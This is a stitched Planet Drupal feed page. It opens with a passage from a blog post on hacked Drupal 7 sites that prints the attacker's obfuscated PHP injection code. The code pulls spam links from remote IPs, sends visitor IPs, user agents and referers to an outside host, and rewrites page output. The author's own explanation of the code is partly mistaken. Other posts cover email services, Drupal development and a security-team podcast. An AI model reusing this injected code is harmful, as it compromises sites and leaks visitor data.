#009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_samui_get_links/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_samui_get_linksspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$all/span span style=color: #339933;=/span get_know_ipspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/shufflespan style=color: #990000;shuffle/span/aspan style=color: #009900;(/spanspan style=color: #000088;$all/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$url/span span style=color: #339933;=/span ZM5j2q0shf_get_urlspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$real_ip/span span style=color: #339933;=/span ZM5j2q0shf_get_real_ipspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ua/span span style=color: #339933;=/span a href=http://www.php.net/strtolowerspan style=color: #990000;strtolower/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_USER_AGENT/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$aid/span span style=color: #339933;=/span span style=color: #0000ff;1001/spanspan style=color: #339933;;/span span style=color: #000088;$cod/span span style=color: #339933;=/span a href=http://www.php.net/md5span style=color: #990000;md5/span/aspan style=color: #009900;(/spanspan style=color: #000088;$url/spanspan style=color: #339933;./spana href=http://www.php.net/timespan style=color: #990000;time/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$check/span span style=color: #339933;=/span a href=http://www.php.net/md5span style=color: #990000;md5/span/aspan style=color: #009900;(/spanspan style=color: #000088;$cod/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ua/span span style=color: #339933;=/span a href=http://www.php.net/urlencodespan style=color: #990000;urlencode/span/aspan style=color: #009900;(/spana href=http://www.php.net/strtolowerspan style=color: #990000;strtolower/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_USER_AGENT/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ref/span span style=color: #339933;=/span a href=http://www.php.net/urlencodespan style=color: #990000;urlencode/span/aspan style=color: #009900;(/spana href=http://www.php.net/strtolowerspan style=color: #990000;strtolower/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_REFERER/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$page/span span style=color: #339933;=/span span style=color: #0000ff;/ml.php?mother=elite-endohawaii.comamp;cr=1amp;aid=/spanspan style=color: #339933;./spanspan style=color: #000088;$aid/spanspan style=color: #339933;./spanspan style=color: #0000ff;amp;url=/spanspan style=color: #339933;./spanspan style=color: #000088;$url/spanspan style=color: #339933;./spanspan style=color: #0000ff;amp;ip=/spanspan style=color: #339933;./spanspan style=color: #000088;$real_ip/spanspan style=color: #339933;./spanspan style=color: #0000ff;amp;ua=/spanspan style=color: #339933;./spanspan style=color: #000088;$ua/spanspan style=color: #339933;./spanspan style=color: #0000ff;amp;cod=/spanspan style=color: #339933;./spanspan style=color: #000088;$cod/spanspan style=color: #339933;./spanspan style=color: #0000ff;amp;ref=/spanspan style=color: #339933;./spanspan style=color: #000088;$ref/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/span span style=color: #009900;(/spanspan style=color: #000088;$all/span span style=color: #b1b100;as/span span style=color: #000088;$ip/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$tc/span span style=color: #339933;=/span ZM5j2q0shf_get_contentsspan style=color: #009900;(/spana href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ip/spanspan style=color: #009900;)/spanspan style=color: #339933;,/spanspan style=color: #000088;$page/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$pos/span span style=color: #339933;=/span a href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tc/spanspan style=color: #339933;,/span span style=color: #000088;$check/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #000088;$pos/span span style=color: #339933;!==/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$proxy_list/span span style=color: #339933;=/span a href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tc/spanspan style=color: #339933;,/spanspan style=color: #cc66cc;0/spanspan style=color: #339933;,/spanspan style=color: #000088;$pos/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span save_know_ipspan style=color: #009900;(/spana href=http://www.php.net/explodespan style=color: #990000;explode/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;span style=color: #000099; font-weight: bold;\n/span/spanspan style=color: #339933;,/spanspan style=color: #000088;$proxy_list/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$links/span span style=color: #339933;=/span a href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tc/spanspan style=color: #339933;,/spanspan style=color: #000088;$pos/spanspan style=color: #339933;+/spanspan style=color: #cc66cc;32/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;return/span span style=color: #000088;$links/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_mod_con/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_mod_conspan style=color: #009900;(/spanspan style=color: #000088;$con/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$con/spanspan style=color: #339933;,/spanspan style=color: #0000ff;]*)?gt;/i/spanspan style=color: #339933;,/span span style=color: #0000ff;/spanspan style=color: #339933;./spanZM5j2q0shf_samui_get_linksspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;,/span span style=color: #000088;$con/spanspan style=color: #339933;,/spanspan style=color: #cc66cc;1/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;return/span span style=color: #000088;$text/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;else/span span style=color: #009900;{/span span style=color: #b1b100;return/span span style=color: #000088;$con/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_callback/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_callbackspan style=color: #009900;(/spanspan style=color: #000088;$buf/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/headers_sentspan style=color: #990000;headers_sent/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/in_arrayspan style=color: #990000;in_array/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;Content-Encoding: gzip/spanspan style=color: #339933;,/span a href=http://www.php.net/headers_listspan style=color: #990000;headers_list/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$tmpfname/span span style=color: #339933;=/span a href=http://www.php.net/tempnamspan style=color: #990000;tempnam/span/aspan style=color: #009900;(/spant_dirspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;,/span span style=color: #0000ff;FOO/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$zf/span span style=color: #339933;=/span a href=http://www.php.net/fopenspan style=color: #990000;fopen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tmpfname/spanspan style=color: #339933;,/span span style=color: #0000ff;w/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/fputsspan style=color: #990000;fputs/span/aspan style=color: #009900;(/spanspan style=color: #000088;$zf/spanspan style=color: #339933;,/span span style=color: #000088;$buf/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/fclosespan style=color: #990000;fclose/span/aspan style=color: #009900;(/spanspan style=color: #000088;$zf/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$zd/span span style=color: #339933;=/span a href=http://www.php.net/gzopenspan style=color: #990000;gzopen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tmpfname/spanspan style=color: #339933;,/span span style=color: #0000ff;r/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$contents/span span style=color: #339933;=/span a href=http://www.php.net/gzreadspan style=color: #990000;gzread/span/aspan style=color: #009900;(/spanspan style=color: #000088;$zd/spanspan style=color: #339933;,/span span style=color: #cc66cc;10000000/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$contents/span span style=color: #339933;=/span ZM5j2q0shf_mod_conspan style=color: #009900;(/spanspan style=color: #000088;$contents/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/gzclosespan style=color: #990000;gzclose/span/aspan style=color: #009900;(/spanspan style=color: #000088;$zd/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/unlinkspan style=color: #990000;unlink/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tmpfname/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$contents/span span style=color: #339933;=/span a href=http://www.php.net/gzencodespan style=color: #990000;gzencode/span/aspan style=color: #009900;(/spanspan style=color: #000088;$contents/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;else/span span style=color: #009900;{/span span style=color: #000088;$contents/span span style=color: #339933;=/span ZM5j2q0shf_mod_conspan style=color: #009900;(/spanspan style=color: #000088;$buf/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;else/span span style=color: #009900;{/span span style=color: #000088;$contents/span span style=color: #339933;=/span ZM5j2q0shf_mod_conspan style=color: #009900;(/spanspan style=color: #000088;$buf/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/spanspan style=color: #009900;(/spanspan style=color: #000088;$contents/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span a href=http://www.php.net/ob_startspan style=color: #990000;ob_start/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_callback/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span/pre/div /div pThere's a lot of code here. I'll admit I don't know exactly what's happening. But what I believe: it's accepting an archived file, extracting it, running it, and then deleting it. (See the span class=geshifiltercode class=text geshifilter-textunlink/code/span statement above. Don't scroll up, I bet it's in your vision right now.)/p pOn a professional level, I understood the need to patch all of these sites immediately, which I helped to do. But on the inside, I really wanted to see the actual execution code./p pI had a personal server with a Drupal 7 instance. I deliberately did not patch it. I prayed and prayed that it would get attacked with the same attack vector. I wanted to take out the one line (in the above code) that removes the extracted PHP execution code. But no luck. I was not hacked on my personal server. Sad day. Sad face emoji. But it sure was interesting to depack our attacker's code./p pOne last thing, that's interesting as well as hilariouis. /p pThere is a certain pattern that exists when you base64_encode using PHP. It lies in the equal sign at the end of the string./p pSo there were nested and nested and nested code that used base64 encoded ... code. So there were many instances where one of these two strings appeared. span class=geshifiltercode class=text geshifilter-text=')/code/span and span class=geshifiltercode class=text geshifilter-text==')/code/span Those are not crying, smiling emojis, but instead they're needles in the haystack./p pThose a pretty weird character strings right? It's almost so weird that you can do a quick a href=http://www.gnu.org/software/grep/manual/grep.html target=_blankgrep/a or a href=https://www.mankier.com/1/ag target=_blankag/a command to find all instances of that weird character string. And that's what I did./p pSo to you: hacker-person, congrats on hacking our sites. (Again, not Metal Toad sites) But thank you for giving us such an easy way to sniff you out./p pstrongNote/strong: You need to check the database as well. This blog post does not cover that./p /div /div /div

php[architect]: Mandrill Alternatives for PHP Applications

Mon, 04/18/2016 - 19:58
pimg class=alignright size-thumbnail wp-image-10737 src=https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o-150x150.jpg alt=email symbol on row of colourful envelopes width=150 height=150 srcset=https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o-150x150.jpg 150w, https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o-300x300.jpg 300w, https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o-160x160.jpg 160w, https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o-50x50.jpg 50w, https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o.jpg 500w sizes=(max-width: 150px) 100vw, 150px /What would a website be if it couldn#8217;t send emails, even if just for password resets? Running your own mail server is a huge hassle, so many developers instead use a third party service to send transactional emails like password resets, new user welcome messages, and order summaries. One of the most popular services, in part because of their generous free tier, is a href=https://mandrillapp.com/Mandrill/a, owned by a href=http://mailchimp.comMailChimp/a./p pIn case you might have missed the announcement, MailChimp is changing Mandrill to be an add-on to paid MailChimp accounts, thus eliminating the generous free tier. We#8217;re big fans of MailChimp and use its mailing list service for our own announcements, (hey, why not a href=/subscribe-to-updates/join that list/a if you#8217;re not already on subscribed?) but a full MailChimp account isn#8217;t going to be for everybody. They#8217;ve already shut out the ability for new subscriptions, but if you#8217;re a PHP developer who does things like put off your taxes until the last minute (American customers have three extra days this year, but that#8217;s strongtoday/strong), you#8217;re probably sweating the a href=http://blog.mandrill.com/important-changes-to-mandrill.htmlApril 27th deadline/a./p pMany people also know Mandrill by reputation and will need options in the future. For you, we#8217;ve put together this list of viable transactional email alternatives with PHP and major PHP application support. Joomla! and MODX support SMTP integration natively, so you#8217;ll just need the SMTP configuration options from your chosen provider. If you want to use a provider#8217;s web API, see the PHP options below./p pCal Evans did an unscientific Twitter survey to see what options people were migrating to:/p blockquote class=twitter-tweet data-width=500p lang=en dir=ltrIf you are moving off of a href=https://twitter.com/mandrillapp@mandrillapp/a, what are you moving to?/p pmdash; Cal Evans (@CalEvans) a href=https://twitter.com/CalEvans/status/714819176804786176March 29, 2016/a/p/blockquote pscript async src=//platform.twitter.com/widgets.js charset=utf-8/script/p h3SparkPost/h3 pMailChimp#8217;s announcement notes that a href=http://pages.sparkpost.com/sparkpost-vs-mandrill.htmlSparkPost/a has agreed to take on existing Mandrill users and a href=https://www.sparkpost.com/pricinghonor Mandrill#8217;s pricing/a for them. Fortunately, SparkPost has PHP users covered: there is an a href=https://github.com/SparkPost/php-sparkpostofficial PHP API library/a. There is also a a href=https://www.drupal.org/sandbox/dr_dave_w/2542958Drupal module/a, but unfortunately it seems to be 7.x only at this writing and is only a sandbox project—you#8217;ll have to a href=https://www.drupal.org/project/2542958/git-instructionsinstall it via git/a. Drupal 8 users should be able to use the official API library with Composer. WordPress developers are in more luck: there is an a href=https://wordpress.org/plugins/sparkpost/official WordPress plugin/a. SparkPost provides a a href=https://support.sparkpost.com/customer/en/portal/articles/2356667-using-sparkpost-with-magento?b_id=7411guide for Magento devs using the SMTP Pro extension/a. SparkPost also has one of the most generous plans we#8217;ve seend, with 100,000 free emails per month, though you can not exceed that limit without upgrading ahead of time./p h3SendGrid/h3 pA long time option for PHP users has been a href=https://sendgrid.com/marketing/mandrill-alternativeSendGrid/a. (Full disclosure: SendGrid has sponsored our a href=https://tek.phparch.comphp[tek] conference/a in the past, but is not a current sponsor.) They have an a href=https://github.com/sendgrid/sendgrid-phpofficial PHP API/a, installable via Composer. While there is a 7.x-only Drupal a href=https://www.drupal.org/project/sendgrid_integrationmodule/a, SendGrid recommends Drupal users use the SMTP Authentication Support or Swift Mailer modules in its a href=https://sendgrid.com/docs/Integrate/Open_Source_Apps/drupal.htmldocumentation/a. Both the officially-recommended modules support Drupal 8 at least in the development releases of each module. Magento is also a href=https://sendgrid.com/docs/Integrate/Open_Source_Apps/magento.htmlsupported through the SMTP Pro extension/a. WordPress devs can install the a href=https://sendgrid.com/docs/Integrate/Open_Source_Apps/wordpress.htmlofficial plugin/a. SendGrid doesn#8217;t list a free tier on their pricing page, their #8220;Essentials#8221; plan start at $9.95 for 40,000 emails per month./p h3SendinBlue/h3 pMany devs I know have spoken highly of a href=https://www.sendinblue.com/SendinBlue/a. They offer a a href=https://www.sendinblue.com/plugins/wordpressWordPress plugin/a, (7.x only) a href=https://www.sendinblue.com/plugins/drupalDrupal module/a, and a href=https://www.sendinblue.com/plugins/magentoMagento extension/a. They also have an a href=https://github.com/mailin-api/mailin-api-phpofficial PHP library/a. Their free tier is limited to 9,000 emails per month with no daily limits, however the messages will include SendinBlue branding./p h3Amazon SES/h3 pAmazon#8217;s transactional email service is affordable but not as easy to install and configure for newbies. They have an official PHP library through the a href=http://docs.aws.amazon.com/aws-sdk-php/v2/guide/service-ses.htmlAWS PHP SDK/a. There is a third-party a href=https://www.drupal.org/project/amazon_sesDrupal module/a for 7.x users. Similarly there#8217;s an independent a href=https://wordpress.org/plugins/wp-ses/WordPress plugin/a. There is a USD 99 a href=http://www.aschroder.com/product/magesend-magento-email/paid extension/a for Magento./p h3Mailjet/h3 pa href=https://www.mailjet.comMailjet/a offers a a href=https://github.com/mailjet/mailjet-apiv3-phpPHP API wrapper/a, a a href=https://github.com/mailjet/wordpress-mailjet-plugin-apiv3WordPress plugin/a, a 7.x-only a href=https://www.drupal.org/project/mailjetDrupal plugin/a, a a href=https://github.com/mailjet/joomla-mailjet-plugin-apiv3Joomla! extension/a, and a a href=https://github.com/mailjet/magento-mailjet-plugin-apiv3Magento plugin/a. The free tier is capped at 6,000 emails per month and 200 email per day. The first 30 days include a premium trial which allows users to explore segmentation, testing, and compare campaign performance./p h3Mailgun/h3 pa href=http://www.mailgun.comMailgun/a has a a href=https://github.com/mailgun/mailgun-phpPHP SDK/a installable via Composer. There is also a a href=https://wordpress.org/plugins/mailgun/WordPress plugin/a, a 7.x-only a href=https://www.drupal.org/project/mailgunDrupal module/a,  and a a href=https://www.magentocommerce.com/magento-connect/mailgun-for-email-delivery.htmlMagento extension/a. The first 10,000 emails each month are free, after which you pay a tiered price based on monthly volume./p h3Postmark/h3 pa href=https://postmarkapp.comPostmark/a offers a a href=https://github.com/wildbit/postmark-phpPHP API library/a, installable via Composer and available on a href=https://packagist.org/packages/wildbit/postmark-phpPackagist/a. There is also an official a href=https://wordpress.org/plugins/postmark-approved-wordpress-plugin/WordPress plugin/a. There is a community-supported a href=https://www.drupal.org/project/postmarkDrupal module/a (you guessed it, 7.x only) and a href=https://github.com/sumoheavy/SUMOHeavy_PostmarkMagento extension/a. There are also many other a href=http://developer.postmarkapp.com/developer-community-libs.htmlcommunity modules for PHP frameworks/a. If you sign up to try it, the first 25,000 emails are free. After that, you can buy credits to send emails starting at $1.50 per thousand emails./p h4Conclusion/h4 pWhich of these services you use depends on your needs, price sensitivity, and how much specific support you want for your platform. If I#8217;ve missed any services with good PHP support, please let us know in the comments!/p psmallImage Credit: a href=https://www.flickr.com/photos/rahulrodriguez/9162677329RaHuL Rodriguez on Flickr/a/small/p

DrupalCon News: Come Sprint at DrupalCon

Mon, 04/18/2016 - 16:24
div class=field field--name-body field--type-text-with-summary field--label-hiddendiv class=field__itemsdiv class=field__item evenp style=line-height: 20.8px;At DrupalConnbsp;there’s plenty of opportunity to give back, learn, and make a difference when you attend sprints. Whether this is your first Drupal event or you've been to several camps and Cons and are ready to try something new, we look forward to seeing you at the sprints/p /div/div/div

I Fix Drupal: Can You Launch A Tech Startup Using Drupal?

Mon, 04/18/2016 - 14:41
Yes you can. In that case, should you launch a tech startup using Drupal? Maybe. This article will equip you with the information you need to make a sound assessment of whether you should choose Drupal for your startup company whether you are a non technical founder, an experienced CTO or a technologist looking to step up into an executive role. Drupal, or any other piece of open source software, can provide you with an incredible platform to scale your startup from nothing more than a set of requirements to a profitable company in a highly time and cost efficient manner. But Drupal is not a...

Valuebound: How to define your own Services in Drupal 8

Mon, 04/18/2016 - 14:04
pService  is a PHP class with some code that provides a single specific functionality throughout the application. So you can easily access each service and use its functionality wherever you need it. Because of that it is easy to test and configure in your application. This is called service-oriented architecture which is not unique to Symfony or even PHP.  /p pThe Services and Dependency Injection Container concepts have been adopted by Drupal from thea href=http://symfony.com/ Symfony framework/a.  Accessing the database, sending email, or translating user interface are examples for the services in Drupal 8. /p pLets look at how to define your own service in drupal 8 custom module Development?/p pstrongStep 1:/strongbr / Create the .info.yml file […/p

Pronovix: How to recognise accessible PDFs - PDF in Drupal part 3

Mon, 04/18/2016 - 11:30
pAs an addition to our PDF in Drupal series, we researched the subject of accessible PDFs: how can writers create content in a way that it becomes accessible to users with disabilities? We’ll highlight checking mechanisms and tools and end with listing three types of the available assistive technologies that make content accessible./p

Roy Scholten: 10 places to explore visual structural hierarchy on Drupal admin screens

Sun, 04/17/2016 - 22:47
div class=field field-name-field-image field-type-image field-label-hiddendiv class=field-itemsdiv class=field-item evena href=/pieces/10-places-explore-visual-structural-hierarchy-drupal-admin-screensimg src=http://www.yoroy.com/sites/default/files/styles/large/public/visual-hierarchy-illustration.jpg?itok=6dOyVlfk width=640 height=526 alt=Druplicons big and small, some are just more equal than others. //a/div/div/divdiv class=field field-name-body field-type-text-with-summary field-label-hiddendiv class=field-itemsdiv class=field-item evenpOne of the a href=http://yoroy.com/pieces/drupal-ux-conceptual-criticalscritical Drupal UX/a issues is the lack of visual and structural hierarchy on admin pages. Can you suggest ideas, sketches, mockups for any of the following?/p ulliPick one or more options for the a href=https://www.drupal.org/node/2518960#comment-11095507structure/a page and create a wireframe or two./li liWhat can we do for the a href=https://www.drupal.org/node/2516902Help page/a?/li liThe filters on the content listing are considered part of the “Add content” link. a href=https://www.drupal.org/node/2521808They should not be/a./li liWhat is the right order for a href=https://www.drupal.org/node/200849showing different kinds of messages/a?/li liCode the patch that shows a href=https://www.drupal.org/node/2489654views displays as local task items/a./li liLooking at admin/structure once more: which items could be moved to a more relevant context? a href=https://www.drupal.org/node/2521780#comment-11007043For example/a. Draw the before/after sitemap./li liDraw the current and improved sitemap of the a href=https://www.drupal.org/node/2695771user amp; account items/a?/li liHow can we a href=https://www.drupal.org/node/2514794make the default homepage look and feel more like a homepage/a?/li liSketch alternatives for a href=https://www.drupal.org/node/1355292groupings on the Extend page/a./li liWhat would admin/config look like with some items more visible than others?/li /ulpPost your sketches, plans or ideas to the linked issue or a href=https://drive.google.com/open?id=0Bz3wdj7xhdmUZkZUVVluTzVrbncadd this folder to your Google Drive/a and upload there./p /div/div/divdiv class=field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-inline clearfixdiv class=field-labelTags:nbsp;/divdiv class=field-itemsdiv class=field-item evena href=/drupaldrupalplanet/a/divdiv class=field-item odda href=/tag/d8uxd8ux/a/divdiv class=field-item evena href=/tag/hierarchyhierarchy/a/div/div/divdiv class=field field-name-field-sub-title field-type-text field-label-abovediv class=field-labelSub title:nbsp;/divdiv class=field-itemsdiv class=field-item evenYour ideas for how to put first things first, please./div/div/div

Phponwebsites: Clear views cache when insert, update and delete a node in Drupal 7

Sat, 04/16/2016 - 09:21
div dir=ltr style=text-align: left; trbidi=onThis blog describes how to clear views cache while inserting, updating and deleting a node in Drupal 7. If we want to improve site performance, then views caching is one of the options.br /br /nbsp; nbsp;For example, you have views which display list of records. It will update occasionally. Then we can render views data from cache rather than server if we set cache for views. We can set views cache at its settings page. Suppose you have cached views for 5 mins. Then it didn't display updated data until 5 mins even if new node is added to that views. It displays updated data only after 5 mins because the views is cached for 5 mins. In that situation, the user can't view new data in cached views. So we need to clear views cache when add , update and delete a node. So only we can see new data in views and also data is rendered from cache.br /br /div class=separator style=clear: both; text-align: center;a href=https://3.bp.blogspot.com/-2dZJrEzybyo/Vw54vofxgNI/AAAAAAAAAr0/t1_yNPbeeY8VKgDshXJUmfE410aul9MvQCLcB/s1600/drupal-7-clear-views-cache-phponwebsites.png imageanchor=1 style=margin-left: 1em; margin-right: 1em;img alt=Clear views cahce when insert, update and delete a node in drupal 7 border=0 src=https://3.bp.blogspot.com/-2dZJrEzybyo/Vw54vofxgNI/AAAAAAAAAr0/t1_yNPbeeY8VKgDshXJUmfE410aul9MvQCLcB/s1600/drupal-7-clear-views-cache-phponwebsites.png title=Clear views cahce when insert, update and delete a node in drupal 7 //a/divbr /br /h3 style=text-align: left;span style=font-weight: normal;Clear views cache when insert a new node in Drupal 7:/span/h3nbsp; nbsp;The newly added node has not been displayed in views list if the cache is applied to a views. So we need to clear views cache when insert a new node using hook_node_insert(). Lets see the code for clear views cache while inserting a node:br /br /div class=bdrnbsp;lt;?phpbr /nbsp;/**br /nbsp; * Imeplement hook_node_insert().br /nbsp; */br /nbsp;function phponwebsites_node_insert($node) {br /nbsp; nbsp;if ($node-gt;type == 'tasks') {br /nbsp; nbsp; nbsp;//clear views cachebr /nbsp; nbsp; nbsp;$viewsname = 'activity';br /nbsp; nbsp; nbsp;cache_clear_all($viewsname, 'cache_views_data', TRUE);br /nbsp; nbsp;}br /nbsp;}/divbr /h3 style=text-align: left;span style=font-weight: normal;Clear views cache when update a node in Drupal 7:/span/h3nbsp; nbsp;When you tried to update a node, the updated data in that node has not been displayed in views. So we need to clear views cache when update a node using hook_node_update(). Lets see the code for clear views cache while updating a node:br /br /div class=bdrnbsp;lt;?phpbr /nbsp;/**br /nbsp; * Imeplement hook_node_update().br /nbsp; */br /nbsp;functionnbsp;phponwebsites_node_update($node) {br /nbsp; nbsp;if ($node-gt;type == 'article') {br /nbsp; nbsp; nbsp;//clear views cachebr /nbsp; nbsp; nbsp;$viewsname = 'articles';br /nbsp; nbsp; nbsp;cache_clear_all($viewsname, 'cache_views_data', TRUE);br /nbsp; nbsp;}br /nbsp;}/divbr /h3 style=text-align: left;span style=font-weight: normal;Clear views cache when delete a node in Drupal 7:/span/h3nbsp; nbsp;After delete a node, you could see the deleted node is displayed in the views. So we need to clear views when delete a node using hook_node_delete(). Lets see the code for clear views cache while deleting a node:br /br /div class=bdrnbsp;lt;?phpbr /nbsp;/**br /nbsp; * Imeplement hook_node_delete().br /nbsp; */br /nbsp;functionnbsp;phponwebsites_node_delete($node) {br /nbsp; nbsp;if ($node-gt;type == 'article') {br /nbsp; nbsp; nbsp;//clear views cachebr /nbsp; nbsp; nbsp;$viewsname = 'articles';br /nbsp; nbsp; nbsp;cache_clear_all($viewsname, 'cache_views_data', TRUE);br /nbsp; nbsp;}br /nbsp;}/divbr /nbsp; nbsp;You can see the performance of views page will be increased and you can see changes in your views. Now I've hope you know how to clear views cache when insert, update and delete a node in Drupal 7./div

DrupalEasy: DrupalEasy Podcast 173 - Secret Bunker (Peter Wolanin, Cathy Theys - Drupal Security Team)

Sat, 04/16/2016 - 06:36
pa href=https://drupaleasy.podbean.com/mf/play/72db66/DrupalEasy_ep173_20160415.mp3Direct .mp3 file download./a/p pCathy Theys (a href=https://www.drupal.org/u/yesctyesct/a) and Peter Wolanin (a href=https://www.drupal.org/u/pwolaninpwolanin/a) from the a href=https://www.drupal.org/security-teamDrupal Security Team/a join Anna Kalata and Mike Anello to discuss the origins, evolution, and efforts of the team. Peter and Cathy discuss how to report potential security issues, how issues are handled within the team, and how they prioritize potential contributed module security issues. In addition, we discuss Drupal from the outside-in, Cathy's travel schedule, secret bunkers, the need for us to keep Peter busy in the Drupal community (seriously), Mike's slow loss of control, customers who contribute, and how Drupal might be related to the a href=https://en.wikipedia.org/wiki/Panama_PapersPanama Papers/a. As if that wasn't enough, we give Cathy control of the five questions - let the fun begin!/p h2Interview/h2 ullia href=https://www.drupal.org/security-teamDrupal Security Team home/a. /li lia href=https://www.drupal.org/node/101494How to report a security issue/a. /li lia href=https://www.drupal.org/drupal8-security-bountyDrupal 8 Security Bounty Bug Program/a. /li liLinks related to ad-hoc pre-security team activity: a href=https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1921https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1921/a, a href=http://www.securiteam.com/exploits/5BP0O20GBS.htmlhttp://www.securiteam.com/exploits/5BP0O20GBS.html/a, a href=https://www.exploit-db.com/exploits/1078/https://www.exploit-db.com/exploits/1078//a, a href=https://www.drupal.org/node/1341738https://www.drupal.org/node/1341738/a. /li lia href=https://www.drupal.org/security/secure-configurationBest practice 